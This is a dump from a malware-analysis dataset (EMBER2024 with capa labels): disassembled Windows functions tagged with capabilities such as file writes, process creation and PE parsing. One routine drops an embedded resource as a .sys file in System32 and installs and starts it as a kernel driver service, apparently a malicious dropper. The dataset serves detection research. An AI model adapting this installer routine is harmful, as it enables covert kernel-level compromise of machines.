joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4150f3
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov ebx, dword [esp + 0x38]
mov esi, dword [esp + 0x30]
mov edi, edx
lea ebp, [esp + 4]
mov dword [esp], ecx
jmp 0x41510f
jmp 0x415115
cmp byte [ebx + 8], 0
je 0x415141
jmp 0x41511f
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
and dword [esp + 8], 0
and dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
and dword [esp + 0x18], 0
lea eax, [esp + 8]
jmp 0x415143
xor eax, eax
jmp 0x415147
push eax
push ebp
push dword [esp + 0x3c]
push esi
push edi
call sub.KERNEL32.dll_ReadFile
test eax, eax
jne 0x415184
jmp 0x415160
call sub.KERNEL32.dll_GetLastError
cmp ax, 0x3e3
je 0x41510f
movzx eax, ax
cmp eax, 0x26
je 0x415198
cmp eax, 0x40
je 0x4151a6
cmp eax, 0x6d
jne 0x4151b8
jmp 0x415182
jmp 0x41519a
jmp 0x415188
mov eax, dword [esp + 4]
mov ecx, dword [esp]
mov dword [ecx], eax
and word [ecx + 4], 0
jmp 0x4151c4
jmp 0x41519a
mov eax, dword [esp]
and dword [eax + 4], 0
and dword [eax], 0
jmp 0x4151c4
jmp 0x4151a9
mov eax, dword [esp]
and dword [eax], 0
mov dword [eax + 4], 0x24
jmp 0x4151c4
jmp 0x4151bb
mov eax, dword [esp]
mov word [eax + 4], 0xe
jmp 0x4151ca
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4151d2
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov edi, dword [esp + 0x34]
mov esi, ecx
jmp 0x4151e9
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
cmp byte [edi + 8], 0
je 0x415216
jmp 0x4151fa
mov ebx, dword [edi]
mov ebp, dword [edi + 4]
lea edi, [esp + 4]
and dword [edi], 0
and dword [edi + 4], 0
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebp
and dword [edi + 0x10], 0
jmp 0x415218
xor edi, edi
jmp 0x415220
mov ebx, esp
push edi
push ebx
push ecx
push eax
push edx
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x415256
jmp 0x41523a
mov eax, dword [esp]
mov dword [esi], eax
and word [esi + 4], 0
jmp 0x41524e
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x41525e
call sub.KERNEL32.dll_GetLastError
cmp ax, 6
je 0x41529a
movzx eax, ax
cmp eax, 8
je 0x4152a8
cmp eax, 0x21
je 0x4152ac
cmp eax, 0x6d
je 0x4152ba
cmp eax, 0x3e3
je 0x4152d1
cmp eax, 0x6f8
je 0x4152e3
cmp eax, 0x718
jne 0x4152f4
jmp 0x415298
jmp 0x4152e5
jmp 0x41529c
and dword [esi], 0
mov dword [esi + 4], 0x5a
jmp 0x415244
jmp 0x4152aa
jmp 0x4152e5
jmp 0x4152ae
and dword [esi], 0
mov dword [esi + 4], 0x5b
jmp 0x415244
jmp 0x4152c2
and dword [esi], 0
mov dword [esi + 4], 0x20
jmp 0x415244
jmp 0x4152d4
and dword [esi], 0
mov dword [esi + 4], 0x1f
jmp 0x415244
jmp 0x4152e5
and dword [esi], 0
mov dword [esi + 4], 0x15
jmp 0x415244
jmp 0x4152f8
mov word [esi + 4], 0xe
jmp 0x415244
Function at 0x41657f
Capabilities:
Create pipe
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x204
jmp 0x41658f
mov al, byte [ecx + 0x84]
lea edi, [ecx + 0x84]
mov dword [esp + 0x50], ecx
cmp al, 1
je 0x4165c0
jmp 0x4165a5
cmp byte [ecx + 0x85], 1
mov ebx, ecx
je 0x4165c0
jmp 0x4165b7
cmp byte [ebx + 0x86], 1
jne 0x41662d
lea esi, [esp + 0x134]
jmp 0x4165ce
mov edx, 0x40625c
mov ecx, esi
push 0x406274
push 0xc
call fcn.00413796
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x416fe1
mov dword [esp + 4], edi
jmp 0x4165f9
mov ebp, dword [esp + 0x134]
jmp 0x416606
mov ecx, ebp
call fcn.0041a73c
test ax, ax
je 0x41664d
jmp 0x41661a
push ebp
mov esi, eax
call sub.ntdll.dll_NtClose
mov eax, esi
jmp 0x416628
jmp 0x416fe1
movzx eax, al
mov dword [esp + 4], edi
mov dword [esp + 0x20], 0
jmp 0x416644
xor ecx, ecx
jmp dword [eax*4 + 0x43d6c0]
jmp 0x416655
mov eax, dword [esp + 4]
mov cl, 1
mov dword [esp + 0x20], ecx
xor ecx, ecx
mov al, byte [eax]
jmp 0x41666b
mov ebx, dword [esp + 0x50]
movzx eax, al
jmp dword [eax*4 + 0x43d6c0]
jmp 0x416fe5
add esp, 0x204
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x419cad
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x30
mov ebx, dword [esp + 0x48]
mov dword [esp], ecx
jmp 0x419cc0
mov ebp, edx
mov dword [esp + 0x18], edx
mov eax, dword [ebx + 0xc]
mov esi, dword [ebx + 0x14]
mov ecx, eax
jmp 0x419cd4
sub ecx, esi
cmp ecx, 0x1ff
ja 0x419e93
add esi, 0x200
mov di, 2
jmp 0x419cf4
jb 0x419f5a
cmp eax, esi
jmp 0x419d06
jae 0x419e93
mov ecx, ebx
jmp 0x419d12
call fcn.0041a61f
dec esi
jmp 0x419d20
push 0x20
pop eax
je 0x419d2b
bsr eax, esi
xor eax, 0x1f
test ax, ax
je 0x419f5a
mov cl, 0x20
jmp 0x419d38
mov edx, dword [ebx + 0xc]
sub cl, al
xor ebp, ebp
mov eax, 0
inc ebp
shl ebp, cl
test cl, 0x20
mov ecx, dword [ebx]
cmovne ebp, eax
mov eax, dword [ebx + 4]
test edx, edx
mov dword [esp + 4], eax
jmp 0x419d5e
mov esi, dword [esp + 0x40]
mov dword [esp + 8], esi
jmp 0x419d6f
jmp 0x419d78
je 0x419e3b
mov esi, dword [ebx + 8]
mov eax, edx
jmp 0x419d8a
mov edx, dword [esp + 4]
mov edx, dword [edx + 4]
mov dword [esp + 0xc], edx
jmp 0x419d99
mov dword [esp + 0x10], ecx
mov edx, esi
push dword [esp + 8]
push ebp
push 0
mov dword [esp + 0x20], eax
push eax
call dword [esp + 0x1c]
add esp, 0x10
test al, 1
jne 0x419e2b
jmp 0x419dc0
mov eax, dword [esp + 4]
mov edx, ebp
mov eax, dword [eax]
jmp 0x419dca
mov ecx, dword [esp + 0x10]
push dword [esp + 8]
push 0
call eax
pop ecx
pop edx
test eax, eax
je 0x419f4c
jmp 0x419de9
mov edi, dword [esp + 0x14]
jmp 0x419df3
cmp ebp, edi
mov ecx, edi
cmovb ecx, ebp
push ecx
push esi
push eax
mov dword [esp + 0x18], eax
call fcn.004052fe
add esp, 0xc
mov eax, dword [esp + 4]
mov edx, esi
mov eax, dword [eax + 8]
jmp 0x419e17
mov ecx, dword [esp + 0x10]
push dword [esp + 8]
push 0
push edi
call eax
add esp, 0xc
mov esi, dword [esp + 0xc]
jmp 0x419e32
jmp 0x419e39
jmp 0x419e85
jmp 0x419e3e
mov eax, dword [esp + 4]
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0x28]
lea edx, [esp + 0x20]
mov dword [esp + 0x24], eax
jmp 0x419e5b
push dword [esp + 8]
push ebp
call fcn.0041a563
pop eax
pop ecx
movzx edi, word [esp + 0x2c]
jmp 0x419e75
jmp 0x419e78
test di, di
jne 0x419f5a
mov esi, dword [esp + 0x28]
jmp 0x419e89
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], ebp
mov ebp, dword [esp + 0x18]
mov ecx, ebx
jmp 0x419e9b
call 0x41a711
cmp edx, 0x1ff
ja 0x419ec4
mov ecx, ebx
jmp 0x419eb1
call fcn.0041a61f
mov ecx, ebx
jmp 0x419ebf
call 0x41a711
jmp 0x419ece
jmp 0x419ed6
push dword [esp + 0x44]
lea ecx, [esp + 0x20]
push ecx
push edx
push eax
push ebp
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x419f08
jmp 0x419ef2
mov esi, dword [ebx + 0x14]
mov eax, dword [ebx + 0xc]
add esi, dword [esp + 0x1c]
jmp 0x419f00
mov dword [ebx + 0x14], esi
jmp 0x419ccc
jmp 0x419f0c
call sub.KERNEL32.dll_GetLastError
cmp ax, 0x6d
je 0x419f2d
movzx eax, ax
cmp eax, 0x3e5
jne 0x419f3c
mov eax, dword [0x406164]
jmp 0x419f2b
jmp 0x419f35
mov eax, dword [0x406168]
jmp 0x419f35
mov ecx, dword [esp]
mov dword [ecx], eax
jmp 0x419f67
jmp 0x419f42
mov eax, dword [esp]
mov word [eax], 0xe
jmp 0x419f67
jmp 0x419f54
jmp 0x419f5a
jmp 0x419f61
mov eax, dword [esp]
mov word [eax], di
jmp 0x419f69
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x41c668
Capabilities:
Create process on windows

Disassembly:
push ebx
push edi
push esi
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
jmp 0x41c67d
push ebx
push edi
push esi
push eax
push 0x8000400
push 1
push 0
push 0
push edx
push ecx
call sub.KERNEL32.dll_CreateProcessW
test eax, eax
je 0x41c69b
xor eax, eax
jmp 0x41c6bf
jmp 0x41c69f
call sub.KERNEL32.dll_GetLastError
movzx eax, ax
lea ecx, [eax - 0xbc]
cmp ecx, 0xf
jae 0x41c6c9
mov ax, 0x6d
jmp 0x41c6bf
jmp 0x41c6c5
pop esi
pop edi
pop ebx
ret
lea ecx, [eax - 2]
cmp ecx, 2
jb 0x41c6f9
cmp eax, 5
je 0x41c6ff
cmp eax, 0xb
je 0x41c6b2
cmp eax, 0x7b
je 0x41c70e
cmp eax, 0xce
je 0x41c71a
cmp eax, 0xd8
je 0x41c6b2
jmp 0x41c6f3
mov ax, 0xe
jmp 0x41c6bf
mov ax, 8
jmp 0x41c6bf
jmp 0x41c708
mov ax, 9
jmp 0x41c6bf
jmp 0x41c714
mov ax, 0x70
jmp 0x41c6bf
jmp 0x41c720
mov ax, 0xb
jmp 0x41c6bf
Function at 0x41d0ef
Capabilities:
Set file attributes

Disassembly:
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [esp + 0x40]
test byte [esp + 0x45], 2
mov esi, ecx
mov ecx, 0x200040
mov edi, 0x200001
jmp 0x41d110
jmp 0x41d117
jmp 0x41d121
jmp 0x41d127
jmp 0x41d130
jmp 0x41d134
cmove edi, ecx
lea ecx, [eax + eax]
mov word [esp + 8], cx
mov word [esp + 0xa], cx
mov dword [esp + 0xc], edx
cmp word [edx], 0x2e
jne 0x41d17d
jmp 0x41d151
movzx ecx, word [edx + 2]
cmp ecx, 0x2e
je 0x41d16c
test ecx, ecx
jne 0x41d17d
jmp 0x41d164
and word [esp + 8], 0
jmp 0x41d17d
jmp 0x41d172
cmp word [edx + 4], 0
je 0x41d2d8
mov ecx, edx
mov edx, eax
lea ebx, [esp + 0x18]
jmp 0x41d188
mov dword [ebx], 0x18
jmp 0x41d196
call fcn.00415303
xor ecx, ecx
test al, 1
lea eax, [esp + 8]
cmovne esi, ecx
mov dword [ebx + 4], esi
and dword [ebx + 0xc], 0
mov dword [ebx + 8], eax
and dword [ebx + 0x10], 0
and dword [ebx + 0x14], 0
lea esi, [esp + 0x10]
mov eax, esp
jmp 0x41d1c8
push 0
push 0
push edi
push 1
push 7
push 0
push 0
push esi
push ebx
push 0x110000
push eax
call sub.ntdll.dll_NtCreateFile
cmp eax, 0xc0000022
je 0x41d2c4
mov ecx, eax
mov ax, 8
cmp ecx, 0xc0000034
je 0x41d31e
cmp ecx, 0xc000003a
je 0x41d31e
cmp ecx, 0xc0000043
je 0x41d2ce
cmp ecx, 0xc0000056
je 0x41d2de
cmp ecx, 0xc00000ba
je 0x41d2ea
cmp ecx, 0xc00000be
je 0x41d2f4
cmp ecx, 0xc00000cc
je 0x41d2fa
cmp ecx, 0xc0000103
je 0x41d305
test ecx, ecx
jne 0x41d314
jmp 0x41d260
mov ecx, dword [esp]
lea eax, [esp + 4]
mov byte [eax], 1
jmp 0x41d26d
push 0xd
push 1
push eax
push esi
push ecx
call sub.ntdll.dll_NtSetInformationFile
cmp eax, 0xc0000022
je 0x41d340
cmp eax, 0xc00000a2
je 0x41d362
cmp eax, 0xc0000101
je 0x41d384
cmp eax, 0xc0000121
je 0x41d3ad
test eax, eax
jne 0x41d3ce
jmp 0x41d2b0
mov eax, dword [esp]
jmp 0x41d2ba
push eax
call sub.ntdll.dll_NtClose
jmp 0x41d2c2
jmp 0x41d2e6
jmp 0x41d2c8
mov ax, 9
jmp 0x41d31e
jmp 0x41d2d8
mov ax, 0x1c
jmp 0x41d31e
jmp 0x41d2e6
xor eax, eax
jmp 0x41d31e
jmp 0x41d2ee
mov ax, 0x17
jmp 0x41d31e
jmp 0x41d2f8
jmp 0x41d2ff
jmp 0x41d2ff
mov ax, 0xf
jmp 0x41d31e
jmp 0x41d30e
mov ax, 0x19
jmp 0x41d31e
jmp 0x41d31a
mov ax, 0xe
jmp 0x41d324
jmp 0x41d32a
jmp 0x41d32f
jmp 0x41d331
jmp 0x41d339
add esp, 0x30
pop esi
pop edi
pop ebx
ret
jmp 0x41d348
mov eax, dword [esp]
jmp 0x41d34e
push eax
call sub.ntdll.dll_NtClose
jmp 0x41d35d
jmp 0x41d2c8
jmp 0x41d369
mov eax, dword [esp]
jmp 0x41d374
push eax
call sub.ntdll.dll_NtClose
jmp 0x41d37f
jmp 0x41d2c8
jmp 0x41d389
mov eax, dword [esp]
jmp 0x41d396
push eax
call sub.ntdll.dll_NtClose
jmp 0x41d3a4
mov ax, 0x6c
jmp 0x41d31e
jmp 0x41d3b3
mov eax, dword [esp]
jmp 0x41d3c0
push eax
call sub.ntdll.dll_NtClose
jmp 0x41d3c9
jmp 0x41d2c8
jmp 0x41d3d0
mov eax, dword [esp]
jmp 0x41d3d6
push eax
call sub.ntdll.dll_NtClose
jmp 0x41d3e4
jmp 0x41d31a
Function at 0x41e1af
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebx
push edi
push esi
sub esp, 0x30
jmp 0x41e1bf
mov eax, dword [0x440114]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax + 0x210]
test eax, eax
jne 0x41e425
jmp 0x41e1e6
mov eax, dword [0x440114]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov dword [eax + 0x210], 1
lock inc byte [0x44011c]
jmp 0x41e208
push 0x440118
call sub.KERNEL32.dll_AcquireSRWLockExclusive
jmp 0x41e21a
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
mov edi, dword [eax + 0x20]
mov dword [esp], edi
jmp 0x41e230
call 0x43b940
mov ebx, eax
lea ecx, [esp + 8]
jmp 0x41e243
jmp 0x41e24c
mov edx, 0x4062e8
mov dword [ecx], edi
jmp 0x41e256
push 7
call fcn.0041e4e4
pop ecx
test ax, ax
jne 0x41e493
jmp 0x41e26f
push 0x1f
pop esi
push 0x64
pop ecx
cmp ebx, 0x64
jmp 0x41e282
jb 0x41e2a5
mov eax, ebx
xor edx, edx
jmp 0x41e28f
div ecx
movzx edx, word [edx + edx + 0x405ac8]
mov ebx, eax
mov word [esp + esi + 0xc], dx
add esi, 0xfffffffe
jmp 0x41e275
cmp ebx, 9
jmp 0x41e2ad
ja 0x41e2bc
add bl, 0x30
jmp 0x41e2b5
mov byte [esp + esi + 0xd], bl
inc esi
jmp 0x41e2ce
jmp 0x41e2c1
movzx eax, word [ebx + ebx + 0x405ac8]
mov word [esp + esi + 0xc], ax
jmp 0x41e2d1
lea ecx, [esp + esi + 0xc]
push 0x21
pop edx
mov ebx, esp
sub edx, esi
jmp 0x41e2e4
push ebx
push 0x4062fc
call fcn.0041e553
pop ecx
pop edx
test ax, ax
jmp 0x41e2fb
jne 0x41e493
lea esi, [esp + 4]
jmp 0x41e309
mov edx, 0x4062f1
mov dword [esi], edi
jmp 0x41e315
mov ecx, esi
push 8
call fcn.0041e4e4
pop ecx
test ax, ax
jmp 0x41e32a
jmp 0x41e32d
jne 0x41e49f
jmp 0x41e33d
jmp 0x41e343
push 0x25
pop edx
mov ecx, 0x4061f8
push ebx
push 0x406310
call fcn.0041e553
pop ecx
pop edx
test ax, ax
jne 0x41e4a6
lea ecx, [esp + 0xc]
jmp 0x41e368
mov edx, 0x406327
mov dword [ecx], edi
jmp 0x41e374
push 1
call fcn.0041e4e4
pop ecx
test ax, ax
jmp 0x41e388
jne 0x41e4ae
jmp 0x41e396
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
lea edi, [esp + 0xc]
mov edx, 0x40637c
mov ecx, edi
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x20]
jmp 0x41e3b9
mov dword [edi], eax
jmp 0x41e3c1
push 0x30
call fcn.0041e4e4
pop ecx
jmp 0x41e3d2
jmp 0x41e3dc
push 0x440118
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
jmp 0x41e3eb
lock dec byte [0x44011c]
je 0x41e4bd
jmp 0x41e3fc
and dword [esp + 4], 0
jmp 0x41e40a
and dword [esp + 0xc], 0
jmp 0x41e411
push 0
push 4
push edi
push esi
call sub.ntdll.dll_RtlWaitOnAddress
jmp 0x41e421
jmp 0x41e423
jmp 0x41e401
cmp eax, 1
jne 0x41e4c6
jmp 0x41e438
mov eax, dword [0x440114]
mov ecx, dword fs:[0x2c]
mov edx, 0x406329
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xc]
mov dword [eax + 0x210], 2
jmp 0x41e45d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x20]
jmp 0x41e472
mov dword [ecx], eax
jmp 0x41e478
push 0x23
call fcn.0041e4e4
pop ecx
test ax, ax
jmp 0x41e486
je 0x41e4c6
jmp 0x41e48e
call 0x41e4d5
jmp 0x41e49b
jmp 0x41e49f
jmp 0x41e4a1
call 0x41e4d5
jmp 0x41e4ae
jmp 0x41e4b8
call 0x41e4d5
jmp 0x41e4c6
jmp 0x41e4d0
call 0x41e4d5
jmp 0x41e4dd
push 3
call sub.KERNEL32.dll_ExitProcess
Function at 0x432aff
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x64
mov esi, edx
mov edi, ecx
jmp 0x432b14
jmp 0x432b16
jmp 0x432b1c
mov ebx, dword [ecx + 0x48]
mov eax, dword [ecx + 0x4c]
mov dword [esp], eax
mov ebp, ebx
and ebp, 0x3f
lea eax, [ecx + 4]
jmp 0x432b30
lea ecx, [esp + 0x24]
push ebp
push eax
push ecx
call fcn.004052fe
add esp, 0xc
jmp 0x432b43
movsd xmm0, qword [edi + 0x68]
movsd qword [esp + 0x1c], xmm0
movsd xmm0, qword [edi + 0x60]
movsd qword [esp + 0x14], xmm0
movsd xmm0, qword [edi + 0x50]
movsd xmm1, qword [edi + 0x58]
movsd qword [esp + 0xc], xmm1
movsd qword [esp + 4], xmm0
lea eax, [esp + ebp + 0x25]
mov byte [eax - 1], 0x80
cmp ebp, 0x38
jb 0x432bd5
jmp 0x432b81
xor ebp, 0x3f
jmp 0x432b8d
xor ecx, ecx
push ebp
push ecx
push eax
call fcn.004052d9
add esp, 0xc
jmp 0x432ba4
lea ebx, [esp + 0x24]
lea edx, [esp + 4]
mov ecx, ebx
call fcn.00432331
jmp 0x432bb7
xor eax, eax
mov dword [ebx + 0x34], eax
mov dword [ebx + 0x30], eax
xorps xmm0, xmm0
movups xmmword [ebx + 0x20], xmm0
movups xmmword [ebx + 0x10], xmm0
movups xmmword [ebx], xmm0
mov ebx, dword [edi + 0x48]
mov eax, dword [edi + 0x4c]
jmp 0x432bf9
jmp 0x432bda
mov ecx, 0x37
sub ecx, ebp
jmp 0x432bea
push ecx
push 0
push eax
call fcn.004052d9
add esp, 0xc
mov eax, dword [esp]
mov edi, dword [esp + 0x78]
shld eax, ebx, 3
jmp 0x432c07
shl ebx, 3
bswap ebx
lea ecx, [esp + 0x24]
mov dword [ecx + 0x3c], ebx
bswap eax
mov dword [ecx + 0x38], eax
jmp 0x432c1f
lea edx, [esp + 4]
call fcn.00432331
jmp 0x432c32
jmp 0x432c37
xor eax, eax
jmp 0x432c3b
mov ecx, dword [esp + eax*4 + 4]
bswap ecx
mov dword [esi + eax*4], ecx
inc eax
cmp edi, eax
jne 0x432c39
jmp 0x432c4b
jmp 0x432c53
jmp 0x432c5b
add esp, 0x64
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43873c
Capabilities:
Parse pe header
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
mov ebp, edx
mov esi, ecx
jmp 0x43874a
jmp 0x43874f
mov eax, dword [0x440128]
test eax, eax
jle 0x438796
jmp 0x438762
mov ecx, dword [0x440148]
add ecx, 0x10
mov edx, eax
jmp 0x438771
mov ebx, dword [ecx - 4]
cmp ebx, esi
ja 0x438788
jmp 0x43877b
mov edi, dword [ecx]
add ebx, dword [edi + 8]
cmp ebx, esi
ja 0x43893c
jmp 0x43878b
add ecx, 0x14
dec edx
jne 0x43876d
mov dword [esp], ebp
jmp 0x43879b
mov dword [esp], ebp
xor eax, eax
jmp 0x43879f
jmp 0x4387a5
mov ecx, dword [0x43c040]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x438821
jmp 0x4387bc
mov ebp, dword [ecx + 0x3c]
cmp dword [ecx + ebp], 0x4550
jne 0x438821
add ebp, ecx
jmp 0x4387ce
movzx edx, word [ebp + 0x18]
cmp edx, 0x10b
jne 0x438821
jmp 0x4387e2
movzx edx, word [ebp + 6]
test edx, edx
je 0x438821
mov ebx, esi
sub ebx, dword [0x43c040]
jmp 0x4387fa
movzx edi, word [ebp + 0x14]
lea ebp, [ebp + edi + 0x18]
jmp 0x438806
mov edi, dword [ebp + 0xc]
cmp edi, ebx
ja 0x438818
jmp 0x438811
add edi, dword [ebp + 8]
cmp edi, ebx
ja 0x438831
jmp 0x43881b
add ebp, 0x28
dec edx
jne 0x438802
jmp 0x438824
jmp 0x438826
push esi
push 0x40951f
call fcn.0043899b
jmp 0x438834
jmp 0x43883d
mov edx, dword [0x440148]
lea ebx, [eax + eax*4]
mov dword [edx + ebx*4 + 0x10], ebp
mov dword [edx + ebx*4], 0
jmp 0x438858
jmp 0x43885e
movzx eax, word [ecx]
cmp eax, 0x5a4d
jne 0x43888f
jmp 0x43886f
mov eax, dword [ecx + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x43888f
jmp 0x438883
movzx eax, word [ecx + eax + 0x18]
cmp eax, 0x10b
je 0x438893
jmp 0x438891
xor ecx, ecx
jmp 0x438899
add ecx, dword [ebp + 0xc]
mov eax, dword [0x440148]
mov dword [eax + ebx*4 + 0xc], ecx
jmp 0x4388aa
lea eax, [esp + 4]
push 0x1c
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x43895b
jmp 0x4388c3
mov eax, dword [esp + 0x18]
cmp eax, 7
jle 0x4388e2
cmp eax, 8
mov ebp, dword [esp]
je 0x438933
cmp eax, 0x40
je 0x438933
cmp eax, 0x80
je 0x438933
jmp 0x4388f4
mov ecx, 4
cmp eax, 2
mov ebp, dword [esp]
je 0x4388fb
cmp eax, 4
je 0x438933
jmp 0x4388f6
mov ecx, 0x40
jmp 0x438905
mov eax, dword [esp + 4]
mov edx, dword [0x440148]
lea edx, [edx + ebx*4]
mov dword [edx + 4], eax
mov edi, dword [esp + 0x10]
mov dword [edx + 8], edi
jmp 0x438925
push edx
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x43897c
jmp 0x438936
inc dword [0x440128]
mov eax, dword [esp + 0x34]
jmp 0x438948
jmp 0x43894b
push eax
push ebp
push esi
call fcn.004052fe
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x438960
mov eax, dword [ebp + 8]
mov ecx, dword [0x440148]
mov ecx, dword [ecx + ebx*4 + 0xc]
jmp 0x438970
push ecx
push eax
push 0x40953f
call fcn.0043899b
jmp 0x438982
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x438990
push eax
push 0x409570
call fcn.0043899b
Function at 0x43899b
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
push eax
mov esi, dword [esp + 0x10]
jmp 0x4389ab
jmp 0x4389b3
jmp 0x4389b7
lea eax, [esp + 0x14]
mov dword [esp], eax
jmp 0x4389c1
jmp 0x4389c8
mov edi, dword [sym.imp.msvcrt.dll__iob]
mov eax, dword [edi]
add eax, 0x40
jmp 0x4389da
push eax
push 1
push 0x1b
push 0x409597
call sub.msvcrt.dll_fwrite
add esp, 0x10
jmp 0x4389f1
jmp 0x4389f8
mov eax, dword [edi]
add eax, 0x40
mov ecx, dword [esp]
jmp 0x438a0a
push ecx
push esi
push eax
call sub.msvcrt.dll_vfprintf
add esp, 0xc
jmp 0x438a1d
jmp 0x438a24
call 0x43baba
push ebx
push esi
mov esi, dword [esp + 0xc]
jmp 0x438a36
mov eax, dword [esi]
mov eax, dword [eax]
lea ecx, [eax + 0x3fffff73]
cmp ecx, 9
ja case.default.0x438a47
mov bl, 1
jmp dword [ecx*4 + 0x43d98c]
jmp 0x438a51
xor ebx, ebx
jmp 0x438a57
push 0
push 8
call sub.msvcrt.dll_signal
add esp, 8
test eax, eax
je case.0x438a47.1073741678
cmp eax, 1
jne 0x438ad9
jmp 0x438a73
push 1
push 8
call sub.msvcrt.dll_signal
add esp, 8
xor eax, eax
dec eax
test bl, bl
jne 0x438b4f
jmp 0x438a94
jmp 0x438a9b
fninit
jmp 0x438b4f
cmp eax, 0xc000001d
je case.0x438a47.1073741674
cmp eax, 0xc0000005
jne case.0x438a47.1073741678
jmp 0x438aba
push 0
push 0xb
call sub.msvcrt.dll_signal
add esp, 8
test eax, eax
je case.0x438a47.1073741678
cmp eax, 1
jne 0x438b3d
jmp 0x438ad3
push 1
push 0xb
jmp 0x438b0a
jmp 0x438ae3
push 8
jmp 0x438b47
jmp 0x438aee
push 0
push 4
call sub.msvcrt.dll_signal
add esp, 8
test eax, eax
je case.0x438a47.1073741678
cmp eax, 1
jne 0x438b33
jmp 0x438b06
push 1
push 4
call sub.msvcrt.dll_signal
add esp, 8
jmp 0x438b4c
jmp 0x438b1a
mov ecx, dword [0x4400d8]
test ecx, ecx
je 0x438b2f
jmp 0x438b2a
push esi
call ecx
jmp 0x438b4f
xor eax, eax
jmp 0x438b4f
jmp 0x438b39
push 4
jmp 0x438b47
jmp 0x438b45
push 0xb
call eax
add esp, 4
xor eax, eax
dec eax
jmp 0x438b56
pop esi
pop ebx
ret 4
Function at 0x401000
Capabilities:
Create service
Extract resource via kernel32 functions
Start service
Write file on windows

Disassembly:
push ecx
push ebx
push esi
push edi
push 0x4060bc
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test edi, edi
mov ebx, eax
je 0x4010ff
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push str.C:WindowsSystem32ouvp486.sys
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4010ff
lea eax, [esp + 0xc]
push 0
push eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
jne 0x401097
push str.Failed_to_open_service_manager._n
call fcn.00401110
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 0
push 0
push str.C:WindowsSystem32ouvp486.sys
push 1
push 3
push 1
push 0xf01ff
push str.486_WS_Driver
push str.486_WS_Driver
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x4010dc
push str.Failed_to_create_service._n
call fcn.00401110
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4010f8
push str.Failed_to_start_service._n
call fcn.00401110
add esp, 4
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x4026a5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x406400
cmp edx, dword [eax]
je 0x4026c7
add eax, 8
inc ecx
cmp eax, 0x406490
jl 0x4026b8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x406400]
jne 0x4027f5
mov eax, dword [0x406a20]
cmp eax, 1
je 0x4027cf
test eax, eax
jne 0x4026f8
cmp dword [0x4060c8], 1
je 0x4027cf
cmp edx, 0xfc
je 0x4027f5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
